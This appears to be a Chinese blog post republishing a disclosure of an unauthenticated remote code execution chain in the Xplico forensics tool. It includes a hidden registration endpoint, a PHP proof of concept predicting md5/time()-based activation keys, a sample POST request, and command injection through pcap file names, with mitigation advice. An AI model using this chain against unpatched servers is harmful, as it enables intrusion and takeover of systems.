琳迪软件(LINDI.CC)

  • 首页
  • 原创内容
  • 技术分析
  • 实用工具
  • 业界资讯
琳迪软件(LINDI.CC)
让电子取证更简单
  1. 首页
  2. 实用工具
  3. 正文

著名开源网络取证工具Xplico远程未授权RCE漏洞

2017年11月24日 458点热度 0人点赞 0条评论

著名开源网络取证工具Xplico远程未授权RCE漏洞

著名Linux开源网络取证工具Xplico可以捕获Internet网络应用层流量,通过流量解析,解析出网络包中的各种应用数据。例如,可以从Pcap文件包中解析出IP流量数据,也可以从POP、IMAP和SMTP协议中解析出邮件HTTP内容以及VOIP应用等。近期,我们团队发现了Xplico的一个远程未授权RCE漏洞。

漏洞信息

远程利用: 是

授权需要: 否

漏洞影响:Xplico

CVSSv3漏洞评分: 9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H/RL:U)

发现日期:2017.10.31

技术分析

本质上讲,我们发现了Xplico的3个漏洞,综合利用这3个漏洞最终可导致严重的无需授权远程代码执行漏洞(RCE)。

漏洞1:隐藏的用户注册功能

在Xplico系统中存在一个隐藏的用户注册接口,任何人都可以通过接口http://<ip_address>:9876/users/register注册新用户:

著名开源网络取证工具Xplico远程未授权RCE漏洞

漏洞2:激活码生成中使用了弱随机化算法

一旦用户通过上述用户注册功能进行注册,该用户会接收到一封激活邮件,需要通过该邮件进行帐户激活,以下是该过程涉及的主要代码:

if ($this->Group->save($this->request->data)) {
                            $this->request->data['User']['password'] = md5($this->request->data['User']['password']);
                            $this->request->data['User']['em_key'] = md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());
                            $gid = $this->Group->getID();
                            $this->request->data['User']['group_id'] = $gid;
                            $this->User->create();
                            if ($this->User->save($this->request->data)) {
                                if (1) {
                                    // send email to confirm registration
                                    mail($this->request->data['User']['email'], "Xplico - Account Activation Request",
                                         "To confirm click the link below\n http://demo.xplico.org/users/registerConfirm/".$this->request->data['User']['em_key']."\n",
                                         "From: register@xplico.org");
                                    $this->Session->setFlash(__('To complete registration wait the email'));
                                }
                                else {
                                    $this->Session->setFlash(__('Registration Completed'));
                                    $this->User->saveField('em_checked', 1);
                                }
                                $this->redirect('/users/index');
                            }
                            else {
                                $this->Group->delete($gid);
                                $this->Session->setFlash(__('There was a problem saving this information'));
                            }
                        }

发给用户的激活邮件中包含了激活码,而激活码则存储在数据库的em_key区域。

不幸的是,这封激活邮件很可能就到不了用户的注册邮箱中,而且还有一个简单的方法可以计算出em_key中的激活码值。

md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());

仔细看以上md5对em_key值的调用过程,我们来分析分析:

$this->request->data['User']['email'],这段代码是用户注册时的给定邮箱地址输入,看你想预留的邮箱是什么就输入什么,当然是已知的了;

$this->request->data['User']['password'],这段代码则是户注册时的给定账户密码,看你想预留的密码是什么就输入什么,也是已知的;

time():该函数会已unix时间格式返回当前时间,但不包含毫秒,所以一旦我们收到来自服务器的http响应,我们可以查看其数据头并计算出确切的时间值,然后只要在1秒内完成执行就能有效。

这就是一个用户注册时产生的POST请求,其中包含了需要用户填写的注册邮箱和注册密码值:

POST /users/register HTTP/1.1
Host: 12.0.0.41:9876
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Upgrade-Insecure-Requests: 1

_method=POST&data[_Token][key]=a84ad2730fdd215f7795a2cf14feb8c2788c6ff5d2d1d8e839736cb4626ce48c1b63ee6c798cd1a6de15f88314dd39f2a1fdf10cbf412c37eda882dfb0120c97&data[User][email]=hacker@hacker.com&data[User][username]=hacker&data[User][password]=123456&data[_Token][fields]=57a700573f4839c45778a5dee8b04184f40c6481:&data[_Token][unlocked]=

而以下则是注册后的Xplico系统端响应,它会跳转到用户登录界面,如果当前这种响应-登录动作可在1秒内完成,在em_key的生成过程中,其time()时间值都是一样的,也就对应最终的激活码一样。

HTTP/1.1 302 Found
Date: Tue, 31 Oct 2017 08:33:01 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; include Subdomains;
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Location: http://12.0.0.41:9876/users/index
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

以下是依照上述我们分析的思路,总结的一个计算em_key生成的PoC:

<?php

$email = "hacker@hacker.com";
$password = "123456";

$token = md5($email.md5($password).strtotime("Tue, 31 Oct 2017 08:33:01 GMT"));

echo $token;

漏洞3:认证命令注入

由于Xplico具备PCAP流量包解析功能,所以可以通过以下界面模块上传pcap文件,该模块受密码保护。

著名开源网络取证工具Xplico远程未授权RCE漏洞

一旦pcap文件上传后,将会执行以下系统命令:

sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt

命令中的pcap文件名[NAME_OF_PCAP_FILE]直接取自用户输入,但在文件名输入中使用$()或“技巧后,就可间接执行我们自己设置的操作系统命令。

Exploit

https://github.com/rapid7/metasploit-framework/pull/9206/files

Metasploit反弹控制实验

著名开源网络取证工具Xplico远程未授权RCE漏洞

著名开源网络取证工具Xplico远程未授权RCE漏洞g

缓解更新

目前,由于Xplico可集成在Security Onion、Ubuntu、VirtualBox等多种网络分析取证产品中,而受该漏洞影响,经我们与Xplico软件开发维护商取得联系后,Xplico方面已经发布了更新版本的1.2.1,请受影响用户及时下载更新。

标签: Xplico 网络取证
最后更新:2017年11月24日

LINDI

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

最新 热点 随机
最新 热点 随机
[更新]微信PC版DAT文件解密工具V0.5 [更新3.3.0.115]微信PC版防撤回+多开补丁 [更新]微信PC版聊天记录解密工具 [更新V1.1]QQ聊天记录MHT转HTML工具(支持批量转换) [更新 V1.2]词频分析工具 GitHub关键字扫描开源工具推荐 服务器入侵溯源小技巧整理
Cellebrite公司专访:为FBI破解手机的以色列移动设备取证公司 Joy:捕获数据包、分析网络流量数据、网络取证及安全监控工具 基于文件系统的磁盘数据取证分析 如何使用Windows卷影拷贝服务恢复文件和文件夹 闲聊Windows系统日志 计算机取证在企业安全中的实际应用 [更新 V1.2]词频分析工具
最近评论
LINDI 发布于 2 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 2 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 2 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 2 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 2 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 2 个月前(12月21日) 可以看啊, 或者把你的样本文件发我, 我试试, 看是否有bug
LINDI 发布于 2 个月前(12月21日) 可以用啊, 没问题的.
分类
  • 业界资讯
  • 原创内容
  • 实用工具
  • 技术分析
标签聚合
Volatility 防撤回 文件系统 解密 内存取证 计算机取证 CTF 证据固定 Hashview netcat 网络取证 微信 安卓镜像 linux 聊天记录 CryKeX hashcat Xplico
联系方式

点这里联系我
邮箱:lindisoft@hotmail.com

归档
  • 2022年7月
  • 2021年7月
  • 2021年4月
  • 2020年4月
  • 2019年7月
  • 2018年10月
  • 2018年8月
  • 2018年7月
  • 2018年6月
  • 2018年5月
  • 2018年4月
  • 2017年12月
  • 2017年11月
  • 2015年7月
  • 2015年6月

COPYRIGHT © 2021 lindi.cc. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang